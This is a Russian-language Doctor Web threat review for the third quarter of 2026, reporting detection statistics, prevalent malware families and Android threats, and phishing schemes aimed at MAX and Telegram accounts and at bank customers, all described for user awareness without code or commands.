Все новости

«Доктор Веб»: обзор вирусной активности в III квартале 2026 года

Thu, 01 Oct 2026 02:00:00 GMT

1 октября 2026 года

По данным статистики детектирований антивируса Dr.Web, в III квартале 2026 года пользователи сталкивались с угрозами на 14,86% реже, чем во II квартале. Число уникальных файлов, применявшихся в атаках, снизилось на 49,26%. При этом по сравнению с прошлым периодом наблюдения среди выявленных угроз оказалось на 63,39% меньше уникальных имен. Чаще всего на защищаемых устройствах обнаруживались рекламные программы и рекламные трояны, вредоносные приложения, похищающие пароли и другую конфиденциальную информацию, а также дропперы и загрузчики, устанавливающие в целевую систему различные угрозы. Кроме того, по-прежнему активными были трояны, которые применяются для автоматического запуска других вредоносных приложений.

Число запросов на расшифровку, поступивших в Службу технической поддержки «Доктор Веб», по сравнению со II кварталом увеличилось на 5,85%. Обращения преимущественно были связаны с энкодерами Trojan.Encoder.35534, Trojan.Encoder.41868 и Trojan.Encoder.44474.

В почтовом трафике чаще всего детектировались вредоносные скрипты, большую часть которых составляли загрузчики и дропперы, устанавливающие другие угрозы в атакуемую систему. Кроме того, через электронные письма распространялись фишинговые документы, эксплойты и различные троянские приложения. Среди последних, как и в случае с вредоносными скриптами, самая высокая активность наблюдалась со стороны дропперов и загрузчиков.

В III квартале интернет-аналитики компании «Доктор Веб» продолжили наблюдать рост интереса мошенников к пользователям российского мессенджера MAX. Наши специалисты выявили множество новых фишинговых сайтов, созданных с целью кражи учетных записей от этой платформы. В то же время злоумышленники по-прежнему сохраняют интерес к получению доступа к аккаунтам от других мессенджеров, включая Telegram. Пользователи также сталкивались и с другими фишинговыми сайтами, среди которых были очередные поддельные интернет-ресурсы банков.

В июле антивирусная лаборатория «Доктор Веб» предупредила о трояне, атакующем разработчиков ПО. Он заражает проекты на языках программирования C++ и C#, в результате чего компилируемые приложения также становятся зараженными и участвуют в дальнейшем распространении угрозы. Кроме того, если инфицированные проекты размещаются в открытом доступе, другие разработчики после их скачивания и использования тоже компрометируют свои системы и все создаваемые программы. Этот троян реализует сразу несколько вредоносных функций: он действует как стилер данных, майнер криптовалюты, бэкдор, а также клиппер, крадущий информацию из буфера обмена.

Пользователи Android в течение последних 3 месяцев наиболее часто сталкивались с вредоносными программами Android.Proxy, которые позволяют перенаправлять трафик злоумышленников через зараженные устройства. Кроме того, отмечался рост активности банковских троянов Android.Banker. Среди лидеров по числу детектирований остаются Android-программы, модифицированные с помощью хакерских инструментов. Вирусописатели используют их для защиты вредоносных приложений от обнаружения и анализа.

В течение III квартала вирусные аналитики «Доктор Веб» обнаружили десятки троянских программ в каталоге Google Play. Среди них было множество троянов Android.Joker, подписывающих жертв на платные услуги. При этом наши эксперты выяснили, что в некоторые новые модификации этих вредоносных программ добавлена функциональность, позволяющая превращать зараженные устройства в выходные узлы прокси-ботнета.

Главные тенденции III квартала

Пользователи реже сталкивались с различными угрозами.
Снизилось число уникальных файлов, задействованных в атаках.
Среди детектируемых угроз было меньше уникальных имен.
Количество запросов на расшифровку файлов, затронутых вредоносными программами-шифровальщиками, по сравнению со II кварталом увеличилось.
Интернет-мошенники продолжили активно атаковать пользователей российского мессенджера MAX с целью получить доступ к их учетным записям.
Вирусные аналитики «Доктор Веб» обнаружили опасного многофункционального трояна, который нацелен на разработчиков ПО и для своего распространения заражает проекты на языках программирования C++ и C#.
Самыми распространенными Android-угрозами стали трояны из семейства Android.Proxy, позволяющие перенаправлять сетевой трафик злоумышленников через зараженные устройства.
В каталоге Google Play были обнаружены новые вредоносные приложения.

По данным сервиса статистики «Доктор Веб»

Наиболее распространенные угрозы III квартала 2026 года

Adware.Downware.20091: Рекламное ПО, выступающее в роли промежуточного установщика пиратских программ.
Trojan.Siggen31.34463: Троян, написанный на языке программирования Go и предназначенный для загрузки в целевую систему различных майнеров и рекламного ПО. Вредоносная программа является DLL-файлом и располагается в %appdata%\utorrent\lib.dll. Для своего запуска эксплуатирует уязвимость класса DLL Search Order Hijacking в торрент-клиенте uTorrent.
Trojan.PWS.Salat.390: Троянская программа, похищающая пароли от различных сервисов, а также другую конфиденциальную информацию.
Adware.Ubar.20: Торрент-клиент, устанавливающий нежелательное ПО на устройство.
Adware.Proxy.32: Программа, которая превращает целевой компьютер в выходной узел прокси-сети и позволяет перенаправлять через устройство сторонний трафик.

Статистика вредоносных программ в почтовом трафике

Наиболее распространенные угрозы III квартала 2026 года в почтовом трафике

X97M.DownLoader.2343: XLSX-файл (формат электронных таблиц Microsoft Excel) с OLE-объектом, скачивающим вредоносный файл на атакуемый компьютер.
W97M.DownLoader.2938: Семейство троянов-загрузчиков, использующих уязвимости документов Microsoft Office. Они предназначены для загрузки других вредоносных программ на атакуемый компьютер.
JS.DownLoader.9376: Вредоносный скрипт в формате JavaScript, который скачивает в целевую систему другое вредоносное ПО.
VBS.Starter.541: Вредоносный скрипт в формате Visual Basic Script. Предназначен для запуска различных вредоносных приложений на целевых компьютерах.
JS.Muldrop.1417: Вредоносный скрипт в формате JavaScript, который запускает в целевой системе скрытое в нем ВПО.

Шифровальщики

По сравнению со II кварталом, число запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками, возросло на 5,82%.

Динамика поступления запросов на расшифровку в Службу технической поддержки «Доктор Веб»:

Обращения пользователей чаще всего были связаны с активностью следующих энкодеров:

Trojan.Encoder.35534 — 13,98% обращений
Trojan.Encoder.41868 — 3,76% обращений
Trojan.Encoder.44474 — 3,23% обращений
Trojan.Encoder.30356 — 2,69% обращений
Trojan.Encoder.44383 — 2,15% обращений

Сетевое мошенничество

В III квартале 2026 года продолжился рост интереса мошенников к пользователям российского мессенджера MAX, который интернет-аналитики компании «Доктор Веб» отметили еще в предыдущем квартале. В течение последних трех месяцев наши специалисты выявили большую группу нежелательных сайтов с похожим стилем оформления, созданных злоумышленниками для кражи учетных записей мессенджера. На этих сайтах потенциальные жертвы якобы могли получить доступ к разнообразным сервисам и услугам. Для этого под различными предлогами у них запрашивался номер мобильного телефона и поступающий на него проверочный код. В ряде случаев пользователям прямо говорилось, что для получения желаемого им необходимо войти в свою учетную запись MAX. В других авторизация вовсе не упоминалась, а номер телефона и код подтверждения якобы требовались лишь для проверки того, что посетители не являются ботами. Однако независимо от заявленной причины, если пользователи попадались на уловку и предоставляли соответствующие данные, итог был одним: мошенники получали доступ к их аккаунтам. При этом на таких сайтах нередко встречались орфографические, грамматические и пунктуационные ошибки.

Одним из прикрытий для атакующих стало возобновление работы игровой платформы Roblox на территории России в начале лета. Она популярна среди детей и подростков — аудитории, которая традиционно более уязвима к киберугрозам и потому является привлекательной целью для злоумышленников.

В одном из сценариев потенциальным жертвам «в честь разблокировки» Roblox предлагались в подарок бесплатные монеты Robux («Робуксы») — это внутриигровая цифровая валюта сервиса. В зависимости от сайта мошенники обещали от 1 до 30 тыс. монет:

Чтобы «получить» их, пользователи должны были нажать соответствующую кнопку (например, «Забрать» или «Получить»), указать номер телефона для «подтверждения», после чего ввести проверочный код, поступивший в СМС или непосредственно в мессенджере MAX:

В других вариантах посетителям предлагались различные скрипты и читы для Roblox, редкие игровые предметы, а также «тапалки» (от англ. tap — «постукивать») — простые игры-кликеры и приложения, где при помощи нажатий на экране накапливаются виртуальные ресурсы (очки, бонусы, монеты), которые затем якобы можно перевести в ту или иную игру. Для «доступа» к ним потенциальные жертвы аналогичным образом должны были нажать нужную кнопку («Скачать», «Подтвердить» и т. д.) и предоставить для «подтверждения» телефонный номер:

Киберпреступники эксплуатировали образ еще одной популярной среди молодежной аудитории игры — Brawl Stars. Как и в случае с Roblox, на мошеннических сайтах потенциальным жертвам предлагались бесплатные внутриигровые предметы и бонусы. Пользователи MAX якобы могли получить их, отсканировав специальный QR-код:

Для «получения» соответствующего QR-кода от них требовалось «пройти проверку через MAX», указав для этого номер мобильного телефона и код, поступивший в СМС или в мессенджере:

Кроме того, на некоторых из этих фишинговых сайтов злоумышленники обещали различные подарки якобы от имени как самой игры, так и ее разработчиков — например, бесплатные ящики с наградами:

Мошенники обещают подарки от Brawl Stars и SUPERCELL, такие как бесплатные ящики с игровыми предметами (например, ящики персонажа Болт). Пользователей просят нажать кнопку подтверждения и указать номер мобильного телефона с проверочным кодом

Помимо получения различных бонусов и подарков для популярных игр, киберпреступники пытались привлечь потенциальных жертв и другими предложениями. Среди них — якобы услуги продвижения в социальных сетях — например, в Likee. Мошенники обещали «накрутку» числа подписчиков, лайков и комментариев, но для этого пользователи якобы должны были авторизоваться с помощью мессенджера MAX:

Фишинговый сайт обещает продвижение в сети Likee, но для этого якобы необходима авторизация через мессенджер MAX

Ряд этих сайтов предлагал посетителям установить специализированные моды (модифицированные версии) MAX, которые, как утверждалось, позволяют закреплять музыкальные композиции в профиле мессенджера. Для «получения» такого мода пользователи должны были авторизоваться по номеру мобильного телефона и войти в личный аккаунт. Стоит отметить, что возможность добавлять музыку в профиль сейчас отсутствует в официальной версии MAX, но она есть в ряде других конкурирующих сервисов. Расчет мошенников идет на то, что потенциальные жертвы в погоне за привлекательной функциональностью ослабят бдительность и попадутся на уловку.

Мошеннический сайт предлагает «возможность ставить треки в профиль MAX»

В еще одном сценарии пользователям предлагался доступ к электронному классному журналу для проверки школьных оценок:

Другие сайты якобы позволяли использовать веб-версию мессенджера MAX и предлагали авторизоваться по номеру телефона, чтобы «перейти в профиль»:

Некоторые из этих мошеннических онлайн-ресурсов обещали помочь определить, под каким именем потенциальная жертва записана в списке контактов других пользователей. Для этого посетителям предлагалось «подтвердить свою личность», авторизовавшись в MAX:

Ряд сайтов обещал бесплатный доступ к закрытым материалам блогеров и создателей контента категории для взрослых, включая просмотр «утекших» медиаархивов и возможность получить пробную подписку в специализированных сервисах. При этом требование мошенниками авторизации через мессенджер MAX с указанием кода подтверждения объяснялось в том числе необходимостью «защиты от ботов и блокировок»:

В то же время в рамках данной кампании под прицелом оказалась не только аудитория MAX, но и других мессенджеров, включая Telegram. Так, некоторые из выявленных сайтов имитировали чат с официальным аккаунтом мессенджера и якобы от лица платформы предлагали потенциальным жертвам подарок — подписку Telegram Premium:

Для ее «получения» пользователи должны были авторизоваться в своей учетной записи, указав номер мобильного телефона и поступивший на него одноразовый проверочный код:

В похожем сценарии потенциальным жертвам злоумышленники обещали возможность бесплатно получить виртуальные подарки экосистемы Telegram из различных коллекций, таких как Toy Bear (плюшевый мишка), Snoop Dogg и других. Для этого мошенники просили пользователей «пройти проверку» (например, что те не являются роботами, и чтобы каждый посетитель якобы получил подарок лишь один раз), указав для этого номер мобильного телефона и код подтверждения. Не исключено, что данные варианты мошеннических сайтов, как и в случае с игровой тематикой, в первую очередь были ориентированы на детей и подростков:

Киберпреступники также пытались привлечь потенциальных жертв возможностью получить звезды Telegram (внутреннюю цифровую валюту мессенджера) за «подписку» на те или иные каналы в мессенджере. В данном случае от пользователей вновь требовалось войти в свою учетную запись Telegram и предоставить код проверки:

В III квартале 2026 года эксперты «Доктор Веб» наблюдали дальнейшее развитие мошеннических схем, нацеленных на кражу персональных данных и учетных записей в различных сервисах. Одним из распространенных сценариев в арсенале мошенников остается информирование о якобы произошедшей компрометации аккаунтов. Обычно злоумышленники сразу ставят потенциальных жертв перед фактом «утечки» данных и необходимостью предпринять срочные меры по защите конфиденциальной информации (например, перейти по указанной ссылке, позвонить в «поддержку» и т. д.). Однако в ряде выявленных нашими интернет-аналитиками случаев на фишинговых сайтах запугивание «случившимся» взломом целенаправленно происходило постепенно. Шаг за шагом пользователя заставляют нервничать все больше и больше, чтобы тот в итоге утратил бдительность и выполнил необходимые злоумышленникам действия. Среди сайтов с подобной схемой обмана были, например, очередные подделки интернет-порталов поставщиков коммунальных услуг.

Фишинговый сайт, замаскированный под официальный веб-ресурс российской электросетевой компании, предлагает войти в учетную запись

После того как потенциальная жертва, полагая, что она находится на настоящем сайте, вводит данные для входа в учетную запись, мошеннический ресурс имитирует процесс авторизации через «Госуслуги» и «синхронизацию» с базами данных различных государственных ведомств:

Сайт создает видимость авторизации через «Госуслуги» и синхронизации с «ведомственными базами данных»

Однако далее сайт сообщает, что учетная запись «Госуслуг» пользователя взломана. Для убедительности он информирует о некоем устройстве, с которого якобы выполнялся вход на «Госуслуги», а также указывает отдаленное географическое расположение места, откуда «произошло» несанкционированное подключение. Сайт также предупреждает, что если эти действия выполнялись не самим пользователем, его аккаунт будет заблокирован. Для «отмены синхронизации» чужого устройства и предотвращения утечки персональной информации от потенциальной жертвы «требуется немедленно связаться с оператором»:

Для «отмены» привязки чужого устройства к аккаунту «Госуслуг» и якобы защиты персональных данных, включая сведения о паспорте, СНИЛС и ИНН, пользователю предлагается связаться с «оператором»

После того как пользователь нажимает кнопку «запроса звонка», сайт тянет время, демонстрируя таймер обратного отсчета на одну или несколько минут и сообщение, что запрос обрабатывается:

Сайт информирует, что запрос обрабатывается, и «дежурный оператор» свяжется с пользователем в течение указанного времени

По окончании таймера ничего, что могло бы помочь прояснить ситуацию, не происходит. Вместо этого на мошеннической веб-странице появляются кнопки для повторного «запроса», а также для самостоятельной связи с «дежурным оператором»:

Сайт предлагает повторно запросить звонок специалиста, либо позвонить «дежурному оператору» напрямую

При нажатии первой кнопки таймер «ожидания запроса» появляется вновь, и процесс повторяется. При нажатии второй кнопки демонстрируются номера телефонов «выделенной линии поддержки», которые на самом деле принадлежат мошенникам. Цель этой схемы состоит в том, чтобы потенциальная жертва после вынужденного ожидания сильнее запаниковала и с большей вероятностью позвонила по одному из указанных номеров, опасаясь возможной утечки персональных данных и потери доступа к «Госуслугам». Кроме того, злоумышленники убивают двух зайцев, непосредственно похищая и данные, необходимые для входа в личный кабинет пользователя на сайте поставщика коммунальных услуг.

Для ускорения решения «проблемы» потенциальной жертве предлагаются телефонные номера «выделенной линии поддержки»

Интернет-аналитики «Доктор Веб» в течение последних трех месяцев продолжили выявлять новые мошеннические сайты, обещающие различные выплаты и пособия. Некоторые из них киберпреступники выдавали за официальный сайт российской государственной платформы «Работа в России» (trudvsem.ru), где размещаются вакансии и резюме и которая помогает в трудоустройстве. Поддельные интернет-ресурсы информировали о том, что граждане, ранее регистрировавшиеся на официальном портале, якобы могут получить дополнительную выплату от Центра занятости населения. При этом размер обещанной выплаты в некоторых случаях мог достигать десятков тысяч рублей.

Для «получения» денег пользователям предлагалось оформить отдельную банковскую карту платежной системы «МИР», куда в дальнейшем якобы поступит «пособие». После этого от них также требовалось ее активировать, совершив какую-либо покупку. Для оформления карты мошеннические сайты предоставляли форму для ввода персональных данных: имени, фамилии и отчества, номера телефона и адреса электронной почты:

Поддельный сайт платформы «Работа в России» обещает «дополнительную выплату от Центра занятости» при условии оформления новой банковской карты

После заполнения формы и нажатия кнопки «Оформить карту «МИР» посетители перенаправлялись на легитимный веб-сайт одного из банков, где им действительно предоставлялась возможность заказать выпуск новой карты. Однако подобные заявки на самом деле никак не были связаны с получением обещанного мошенниками пособия. Злоумышленники обманом побуждали потенциальных жертв оформлять банковские карты, чтобы в рамках партнерской программы с кредитными организациями получать вознаграждение за каждое успешное привлечение клиентов. Никаких выплат от Центра занятости пользователи в итоге не получали. Более того, персональные данные, собранные через поддельные сайты платформы «Работа в России», киберпреступники могли в дальнейшем применять в других мошеннических схемах или продавать на черном рынке.

Конфиденциальные данные для доступа к учетным записям онлайн-банка, включая логины, пароли и реквизиты карт, остаются желанной целью для киберпреступников. В III квартале наши эксперты зафиксировали новые фишинговые сайты, созданные с целью кражи такой информации. Некоторые из них имитировали интернет-портал одной из российских кредитных организаций и обещали подарки в рамках «масштабной акции к юбилею» компании. Пользователи якобы могли получить гарантированный бонус — от 5 тыс. рублей до удвоения всех средств на счете:

Поддельный сайт банка обещает подарки в честь юбилея кредитной организации

Потенциальной жертве предлагалось пройти небольшой опрос. После ответов на вопросы ей якобы становился доступен «гарантированный приз»:

Фишинговый сайт благодарит пользователя за ответы и сообщает, что его аккаунт «готов к участию в акции». Для того чтобы «узнать гарантированный приз», потенциальной жертве предлагается нажать кнопку «Получить вознаграждение» (на приведенном скриншоте видно, что мошенники допустили опечатку)

После того как пользователь нажимал кнопку «получения» награды, сайт демонстрировал форму для ввода имени и фамилии, номера мобильного телефона и номера банковской карты:

Сайт информирует, что пользователь якобы получил в подарок удвоение средств на счете, и для «получения» денег требуется ввести определенные персональные данные

После ввода данных сайт запрашивал проверочный код из СМС, необходимый «для зачисления средств на счет». На самом деле это был код подтверждения входа в интернет-банк жертвы, который мошенники выполняли с использованием данных, полученных на предыдущем шаге. Если жертва вводила этот код, злоумышленники получали доступ к ее банковским счетам и картам и могли украсть деньги.

Пользователя просят указать проверочный код из СМС «для зачисления средств на счет»

Актуальной угрозой остаются поддельные платформы для онлайн-общения и знакомств, с помощью которых злоумышленники стремятся заполучить персональные данные и деньги пользователей. В течение III квартала интернет-аналитики «Доктор Веб» выявили множество подобных сайтов. В одной из распространенных схем мошенники обманом побуждают потенциальных жертв оплатить премиум-подписку, которая якобы активирует аккаунт и открывает доступ к полной функциональности сервиса, включая возможность отправлять сообщения. При этом требуемый платеж — не разовый: обязательным условием «доступа» к чатам является согласие на автоматическое продление услуги. Добиваясь согласия на регулярный платеж, злоумышленники рассчитывают, что жертвы забудут о подключенной подписке, либо по той или иной причине не смогут ее отменить.

В рамках мошеннической схемы потенциальные жертвы через цепочку веб-перенаправлений (например, при посещении других интернет-ресурсов) могут оказаться на промежуточных сайтах, которые рекламируют тот или иной сервис онлайн-знакомств. Посетителям предлагается пройти опрос для определения «совместимости» с потенциальными партнерами, после чего предоставляется форма регистрации. В ней запрашиваются имя пользователя, пароль и адрес электронной почты. Затем происходит перенаправление непосредственно на сайт «платформы» онлайн-знакомств.

Сайт из мошеннической цепочки «проверяет» потенциальную жертву на совместимость с другими пользователями

Практически сразу пользователи начинают получать от «заинтересованных» участников сообщения, которые на самом деле запрограммированы и не исходят от реальных людей. В то же время ответить на эти сообщения нельзя — для «продолжения общения» сайт предлагает активировать аккаунт, оплатив премиум-доступ и согласившись на автоматическое продление подписки каждые 30 дней:

При оплате «премиум-подписки» такие веб-сайты могут демонстрировать незащищенную форму для ввода реквизитов банковской карты — ее номера, срока действия и даже трехзначного защитного кода. Форма не привязана к надежным платежным шлюзам, поэтому пользователи рискуют не только подписаться на дорогостоящую услугу, но и вовсе потерять все деньги на карте, передав информацию о ней неизвестной стороне.

Данные банковской карты запрашиваются через незащищенную форму ввода

Если пользователи пытаются отменить подписку или вернуть ранее уплаченные за нее средства, сайты повторно запрашивают данные банковской карты (например, просят указать срок ее действия и часть номера). Это также происходит вне контура защищенных платежных шлюзов, что создает дополнительные риски утечки конфиденциальных данных и кражи средств.

При запросе на отключение платной подписки сайт просит указать первые 6 цифр и последние 4 цифры номера банковской карты, а также срок ее действия

Узнайте больше о нерекомендуемых антивирусом Dr.Web сайтах

Вредоносное и нежелательное ПО для мобильных устройств

По данным статистики детектирований Dr.Web Security Space для мобильных устройств, в III квартале 2026 года самыми активными вредоносными программами стали трояны Android.Proxy, с помощью которых через устройства жертв перенаправляется сетевой трафик киберпреступников. Наиболее часто пользователи сталкивались с модификациями Android.Proxy.60.origin и Android.Proxy.61.origin — в общей сложности на них пришлась почти четверть детектирований вредоносного ПО. По сравнению со II кварталом возросло число атак банковских троянов Android.Banker. При этом продолжилась тенденция к снижению активности рекламных троянских приложений Android.MobiDash и Android.HiddenAds.

Самыми распространенными нежелательными программами вновь стали поддельные антивирусы Program.FakeAntiVirus, предлагающие купить полную версию для лечения якобы найденных угроз. Среди рекламного ПО наиболее часто встречались приложения со встроенными в них модулями Adware.AdPush и Adware.Airpush, которые демонстрируют рекламные уведомления, а также программы Adware.Opensite.15. Последние распространяются под видом ПО с читами для игр, но их единственная функция — загрузка сайтов с объявлениями.

Приложения, в которые при помощи хакерских инструментов для моддинга NP Manager добавлен мусорный код (детектируются как Tool.Obfuscator.TrashCode), остались наиболее часто встречающимся потенциально опасным ПО. Вирусописатели продолжают использовать подобную модификацию для защиты вредоносных программ, в частности, банковских троянов, от обнаружения антивирусами. По-прежнему распространены и другие моды, созданные с использованием NP Manager и детектируемые Dr.Web как Tool.NPMod. Например, в них может применяться обфускация кода — также для защиты от детектирования и анализа. Среди наиболее часто встречавшегося потенциально опасного ПО в III квартале также были программы, модифицированные при помощи утилиты Tool.LuckyPatcher. Этот инструмент скачивает из интернета скрипты, которые потенциально могут быть вредоносными.

За минувшие 3 месяца вирусные аналитики компании «Доктор Веб» обнаружили в каталоге Google Play более 50 вредоносных приложений. Среди них были десятки троянов Android.Joker, подписывающих жертв на платные услуги. Наши специалисты выяснили, что некоторые новые версии вредоносных приложений этого семейства получили новую функциональность, позволяющую им использовать зараженные устройства в качестве выходных узлов прокси-ботнета для перенаправления интернет-трафика атакующих. Также в Google Play распространялись очередные трояны Android.FakeApp, которые киберпреступники используют в различных мошеннических схемах.

Наиболее заметные события, связанные с «мобильной» безопасностью в III квартале

Отмечалась высокая активность троянских программ Android.Proxy, позволяющих перенаправлять сетевой трафик злоумышленников через зараженные устройства.
Увеличилось число атак со стороны банковских троянов Android.Banker.
Продолжилось снижение активности рекламных троянов Android.MobiDash и Android.HiddenAds.
Вирусописатели добавили вредоносным приложениям Android.Joker функциональность, позволяющую превращать зараженные устройства в выходные узлы прокси-ботнета.
Через каталог Google Play вновь распространялись вредоносные приложения.

Более подробно о вирусной обстановке для мобильных устройств в III квартале 2026 года читайте в нашем обзоре.

«Доктор Веб»: обзор вирусной активности для мобильных устройств в III квартале 2026 года

Thu, 01 Oct 2026 01:00:00 GMT

1 октября 2026 года

По данным статистики детектирований Dr.Web Security Space для мобильных устройств, в III квартале 2026 года наблюдался всплеск активности троянских приложений Android.Proxy, позволяющих киберпреступникам перенаправлять сетевой трафик через устройства жертв и анонимизировать свое интернет-подключение. Рост главным образом произошел за счет троянов Android.Proxy.60.origin и Android.Proxy.61.origin, на долю которых суммарно пришлось более 22% всех детектирований вредоносного ПО. Они добавляют зараженные устройства к прокси-ботнетам и превращают каждое из них в выходной узел соответствующей прокси-сети.

По сравнению со II кварталом, число атак со стороны банковских троянов Android.Banker несколько возросло, и эти вредоносные приложения с долей 18,06% расположились на втором месте. Как и ранее, самыми активными среди них были представители подсемейства Android.Banker.Mamont, способные среди прочего перехватывать содержимое СМС и уведомлений с целью кражи одноразовых кодов подтверждения банковских операций.

В то же время пользователи стали реже сталкиваться с рекламными троянами семейств Android.MobiDash и Android.HiddenAds. Число их детектирований за последние 3 месяца вновь сократилось — на 30,96% и 14,36% соответственно, а их общая доля среди выявленного вредоносного ПО на данный момент не превышает 10%.

Среди потенциально опасного ПО лидерами остаются программы, в которые при помощи хакерских инструментов для моддинга NP Manager добавлен мусорный код, запутывающий логику приложений. Вирусописатели используют этот прием для защиты вредоносного ПО от антивирусов. Например, он активно применяется при защите банковских троянов Android.Banker.Mamont. В III квартале на такие модификации (детектируются как Tool.Obfuscator.TrashCode) пришлось 69,01% детектирований потенциально опасных приложений.

Второе место вновь заняли программы, которые модифицируются с использованием других функциональных возможностей NP Manager. Например, злоумышленники могут обфусцировать код троянов для защиты их от обнаружения и анализа. Доля подобных модов (они детектируются как Tool.NPMod) составила 19,16% от общего числа детектирований потенциально опасного ПО. Замыкают тройку лидеров программы, модифицированные при помощи утилиты Tool.LuckyPatcher. Эта утилита загружает из интернета специально подготовленные скрипты, которые могут представлять потенциальную опасность, поскольку их могут создавать все желающие, включая вирусописателей. На модифицированные таким образом программы пришлось 5,77% детектирований.

Самыми распространенными нежелательными приложениями в III квартале остались Program.FakeAntiVirus — программы, имитирующие работу антивирусов. Они сообщают пользователям, что обнаружили те или иные угрозы, и для «лечения» заражения предлагают приобрести полную версию. Доля такого ПО среди общего числа детектирований нежелательных программ по сравнению с прошлым периодом наблюдения выросла с 44,10% до 51,09%.

Наиболее распространенным рекламным ПО стали модули Adware.AdPush, встраиваемые в Android-приложения. В III квартале на них пришлось 39,46% детектирований угроз данного типа. Эти модули демонстрируют рекламные уведомления, которые вводят пользователей в заблуждение. Они также собирают ряд конфиденциальных данных.

В течение последних 3 месяцев наблюдался рост активности рекламных модулей Adware.Airpush — их доля возросла с 7,39% до 10,34%. Наиболее заметными среди них остаются модификации Adware.Airpush.7.origin. Модули Adware.Airpush могут демонстрировать рекламные уведомления, баннеры и всплывающие окна, при этом киберпреступники используют их и для распространения вредоносных программ.

Пользователи продолжили сталкиваться с рекламными программами Adware.Opensite.15, однако их активность по сравнению со II кварталом снизилась: их доля упала с 14,26% до 7,90%. Эти приложения распространяются под видом программ с читами для получения различных ресурсов в играх, но они лишь загружают сайты с рекламой. Менее заметными стали и одни из лидеров последних месяцев — приложения Adware.Bastion.1.origin. На них пришлось 5,73% детектирований рекламного ПО. Они создают уведомления с вводящими в заблуждение сообщениями, которые предупреждают о якобы возникающих ошибках системы и нехватке оперативной памяти. А во время «оптимизации» они демонстрируют рекламу.

В течение III квартала специалисты антивирусной лаборатории компании «Доктор Веб» выявили в каталоге Google Play множество новых вредоносных приложений, включая десятки троянов Android.Joker, которые подписывают пользователей на платные мобильные услуги. При этом в процессе анализа троянов наши эксперты обнаружили, что вирусописатели расширили функциональность семейства. Некоторые модификации Android.Joker теперь способны не только оформлять подписки, но и превращать зараженные устройства в выходные узлы прокси-ботнета. В Google Play также распространялись очередные программы-подделки из семейства Android.FakeApp, которые используются в различных мошеннических схемах.

ГЛАВНЫЕ ТЕНДЕНЦИИ III КВАРТАЛА

Пользователи столкнулись с высокой активностью вредоносных программ Android.Proxy, с помощью которых злоумышленники могут перенаправлять сетевой трафик через устройства жертв.
Наблюдался рост числа атак банковских троянов Android.Banker.
Продолжилось снижение активности рекламных троянов Android.MobiDash и Android.HiddenAds.
В каталоге Google Play были обнаружены десятки вредоносных программ.
Троянские приложения Android.Joker получили функциональность, позволяющую превращать зараженные устройства в выходные узлы прокси-ботнета.

По данным Dr.Web Security Space для мобильных устройств

Android.Proxy.60.origin
Android.Proxy.61.origin: Вредоносные программы, которые превращают зараженные устройства в выходные узлы прокси-ботнетов и позволяют злоумышленникам перенаправлять через них сетевой трафик.
Android.SpyMax.17: Вредоносная программа-шпион, обладающая широкой функциональностью. Киберпреступники используют ее в том числе как банковский троян для перехвата СМС с проверочными кодами, поступающими от кредитных организаций.
Android.HiddenAds.4236: Троянская программа для показа навязчивой рекламы. Представители семейства Android.HiddenAds часто распространяются под видом безобидных приложений и в некоторых случаях устанавливаются в системный каталог другим вредоносным ПО. Попадая на Android-устройства, такие рекламные трояны обычно скрывают от пользователя свое присутствие в системе — например, «прячут» значок приложения из меню главного экрана.
Android.Banker.Mamont.263.origin: Банковский троян, который перехватывает СМС с одноразовыми кодами от кредитных организаций, содержимое уведомлений, а также собирает другую конфиденциальную информацию. Она включает технические данные о зараженном устройстве, список установленных приложений, информацию о СИМ-карте, телефонных звонках, поступивших и отправленных СМС.

Program.FakeAntiVirus.1
Program.FakeAntiVirus.5.origin
Program.FakeAntiVirus.5: Детектирование рекламных программ, которые имитируют работу антивирусного ПО. Такие приложения могут вводить пользователей в заблуждение и сообщать о несуществующих угрозах, либо ошибочно идентифицировать безопасные приложения как вредоносные. В некоторых случаях для «лечения» якобы обнаруженных угроз они могут требовать приобрести полную версию ПО.
Program.FakeMoney.11: Детектирование приложений, якобы позволяющих зарабатывать на выполнении тех или иных действий или заданий. Эти программы имитируют начисление вознаграждений, причем для вывода «заработанных» денег требуется накопить определенную сумму. Обычно в них имеется список популярных платежных систем и банков, через которые якобы возможно вывести награды. Но даже когда пользователям удается накопить достаточную для вывода сумму, обещанные выплаты не поступают. Этой записью также детектируется другое нежелательное ПО, основанное на коде таких программ.
Program.CloudInject.1: Детектирование Android-приложений, модифицированных при помощи облачного сервиса CloudInject и одноименной Android-утилиты (добавлена в вирусную базу Dr.Web как Tool.CloudInject). Такие программы модифицируются на удаленном сервере, при этом заинтересованный в их изменении пользователь (моддер) не контролирует, что именно будет в них встроено. Кроме того, приложения получают набор опасных разрешений. После модификации программ у моддера появляется возможность дистанционно управлять ими: блокировать, показывать настраиваемые диалоги, отслеживать факт установки и удаления другого ПО и т. д.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Детектирование Android-программ, в которые при помощи хакерских инструментов для моддинга приложений добавлен мусорный код. Такая модификация выполняется с целью запутывания логики программ. Эта техника часто встречается в банковских троянах и в пиратских версиях ПО.
Tool.NPMod.3
Tool.NPMod.1: Детектирование Android-приложений, модифицированных при помощи утилиты NP Manager. Эта утилита содержит модули для обфускации и защиты кода программ, а также обхода проверки их цифровой подписи после модификации. Добавляемая ей обфускация часто используется во вредоносном ПО для затруднения его детектирования и анализа.
Tool.LuckyPatcher.2.origin: Утилита, позволяющая модифицировать установленные Android-приложения (создавать для них патчи) с целью изменения логики их работы или обхода тех или иных ограничений. Например, с ее помощью пользователи могут попытаться отключить проверку root-доступа в банковских программах или получить неограниченные ресурсы в играх. Для создания патчей утилита загружает из интернета специально подготовленные скрипты, которые могут создавать и добавлять в общую базу все желающие. Функциональность таких скриптов может оказаться в том числе и вредоносной, поэтому создаваемые патчи могут представлять потенциальную опасность.

Adware.AdPush.3.origin
Adware.Adpush.21846: Рекламные модули, которые могут быть интегрированы в Android-программы. Они демонстрируют рекламные уведомления, вводящие пользователей в заблуждение. Например, такие уведомления могут напоминать сообщения от операционной системы. Кроме того, эти модули собирают ряд конфиденциальных данных, а также способны загружать другие приложения и инициировать их установку.
Adware.Opensite.15: Приложения, выдаваемые за чит-инструменты для получения ресурсов в играх. На самом деле они созданы для демонстрации рекламы. Эти программы получают с удаленного сервера конфигурацию, в соответствии с которой загружают целевой сайт с объявлениями — баннерами, всплывающими окнами, видеороликами и т. д.
